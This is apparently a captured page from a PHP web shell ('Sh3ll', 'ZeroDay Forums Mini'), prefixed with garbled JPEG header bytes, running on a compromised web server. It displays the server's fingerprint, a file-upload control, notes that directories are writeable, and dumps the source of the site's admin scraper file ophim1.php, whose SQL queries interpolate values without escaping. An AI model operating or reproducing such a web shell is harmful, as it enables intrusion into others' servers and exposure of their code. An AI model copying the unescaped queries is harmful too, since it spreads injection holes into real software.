����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/admin_new/mod/ophim1.php
<?php
class ophim1{
    public function __construct()
    {
        global $CORE;
        $code = $CORE->input['code'] ?? 'list';
        switch ($code) {
            default :
                $this->goList();
                break;
        }
    }
    function goList(){
        global $CORE, $DB, $smarty, $func, $print;
        flush();
        //$q_phim = $DB->query("SELECT * FROM gtdesign_phim  WHERE linkphim = '' AND hinhthuc='tv-drama' AND link_download='' ORDER BY id ");
        //$q_phim = $DB->query("SELECT * FROM gtdesign_phim  WHERE linkphim = '' AND hinhthuc='movie' AND link_download='' ORDER BY id");
        $q_phim = $DB->query("SELECT * FROM gtdesign_phim  WHERE linkphim NOT LIKE '%vip.%' AND hinhthuc='in-theaters' AND link_download='' ORDER BY id ");
        while($r_phim=$DB->fetch_row($q_phim)){
            $id_phim = $r_phim['id'];
            $url = 'https://ophim1.com/phim/'.$r_phim['slug'];
            $content = $func->get_content_page($url,'https://ophim1.com/');
            $arr_content= json_decode($content,true);
            if(isset($arr_content['episodes'][0]['server_data']) and $arr_content['episodes'][0]['server_data']!=''){
                $arr_epi = $arr_content['episodes'][0]['server_data'];
                $arr_link_m3u8 = array();
                foreach($arr_epi as $val){
                    if(isset($val['link_m3u8']) and $val['link_m3u8']!='') {
                        $arr_link_m3u8[] = $val['link_m3u8'];
                    }
                }
            }
            $txt_link = '';
            if(isset($arr_link_m3u8) and !empty($arr_link_m3u8)){
                $txt_link = implode('@',$arr_link_m3u8);
            }
            $DB->query("UPDATE gtdesign_phim SET linkphim='$txt_link',link_download='1' WHERE id='$id_phim' ");
            echo "Processed: $url<br/>";
            flush(); // Send each step message immediately
        }
        echo "Process complete!";
        flush(); // Send the final message
    }
}
$run = new ophim1();
?>

ZeroDay Forums Mini